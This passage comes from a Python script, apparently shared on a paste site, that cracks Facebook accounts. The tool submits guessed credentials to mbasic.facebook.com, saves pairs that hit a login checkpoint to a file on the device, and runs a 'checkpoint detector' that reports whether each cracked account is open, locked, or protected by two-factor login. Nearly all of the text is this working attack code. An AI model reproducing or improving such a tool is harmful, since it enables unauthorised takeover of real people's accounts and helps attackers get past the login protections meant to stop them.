  1452.                     except (Exception) as e: convert_username = username
  1453.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1454.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1455.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1456.                     printz(tree)
  1457.                     self.cp+=1
  1458.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1459.                         wr.write(f'{convert_username}|{passe}\n')
  1460.                         wr.close()
  1461.                     break  
  1462.                 else: continue
  1463.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1464.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1465.                 time.sleep(31)
  1466.         self.lp+=1
  1467.        
  1468.     def DetedtorChekpoint(self, username, passwd):      
  1469.         try:
  1470.             byps = requests.Session()
  1471.             soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
  1472.             resp = soup.find("form",{"method":"post"})
  1473.             for x in soup("input"): data.update({x.get("name"):x.get("value")})
  1474.             data.update({"email":username,"pass":passwd})
  1475.             repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
  1476.             resp2 = bs(repo.text, "html.parser")
  1477.             if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
  1478.             if "c_user" in byps.cookies.get_dict():
  1479.                 if "Akun Anda Dikunci" in repo.text:
  1480.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1481.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1482.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1483.                     tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1484.                     printz(tree)
  1485.                 else:
  1486.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1487.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1488.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1489.                     tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1490.                     printz(tree)
  1491.             elif "checkpoint" in byps.cookies.get_dict():
  1492.                 title = re.findall("\<title>(.*?)<\/title>",str(resp2))
  1493.                 repo2 = resp2.find("form",{"method":"post"})
  1494.                 for x in resp2("input"):
  1495.                     if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
  1496.                     resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
  1497.                     resu2 =bs(resu.text,"html.parser")
  1498.                     cek=[cek.text for cek in resu2.find_all("option")]
  1499.                     if(len(cek)==0):
  1500.                         if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1501.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1502.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1503.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1504.                             tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1505.                             printz(tree)
  1506.                         elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
  1507.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1508.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1509.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1510.                             tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1511.                             printz(tree)
  1512.                         elif "Lihat notifikasi di perangkat lain" in str(resp2):
  1513.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1514.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1515.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1516.                             tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1517.                             printz(tree)
  1518.                         else:
  1519.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1520.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1521.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1522.                             tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1523.                             printz(tree)
  1524.                     else: pass
  1525.                     for opt in range(len(cek)):
  1526.                         tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1527.                         true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1528.                         tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1529.                         tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1530.                         printz(tree)
  1531.             else:
  1532.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1533.                 true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1534.                 tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1535.                 tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1536.                 printz(tree)
  1537.         except (Exception) as e: pass
  1538.  
  1539.        
  1540.        
  1541.  
Add Comment
Please, Sign In to add comment